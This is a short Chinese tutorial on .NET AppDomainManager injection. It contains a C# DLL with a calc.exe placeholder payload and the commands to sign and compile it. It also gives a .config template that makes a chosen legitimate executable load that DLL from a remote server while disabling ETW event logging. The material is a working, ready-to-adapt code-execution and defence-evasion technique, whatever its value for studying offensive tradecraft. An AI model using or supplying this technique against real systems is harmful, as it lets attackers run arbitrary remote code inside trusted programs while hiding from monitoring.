1、参考链接
https://github.com/Mr-Un1k0d3r/.NetConfigLoader
2、实际步骤
- 编写 DLL程序 Program.cs
using System;
using System.Diagnostics;
using System.Security.Policy;
public sealed class MyDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Process.Start("calc.exe");
}
}
sn.exe -k key.snk
csc.exe /t:library /keyfile:key.snk /out:my.dll Program.cs
PS> [System.Reflection.AssemblyName]::GetAssemblyName("C:\full\path\to\dll\my.dll").FullName,得到所需要的publicKeyToken
把DLL放到特定服务器
寻找合适的 exe 文件
-
config文件构造 根据实际情况,修改DLLNAME,publicKeyToken ,href ,CLASSNAME
<configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <dependentAssembly> <assemblyIdentity name="DLLNAME" publicKeyToken="xxx" culture="neutral" /> <codeBase version="0.0.0.0" href="http://xxx/my.dll"/> </dependentAssembly> </assemblyBinding> <etwEnable enabled="false" /> <appDomainManagerAssembly value="DLLNAME, Version=0.0.0.0, Culture=neutral, PublicKeyToken=xxx" /> <appDomainManagerType value="CLASSNAME" /> </runtime> </configuration>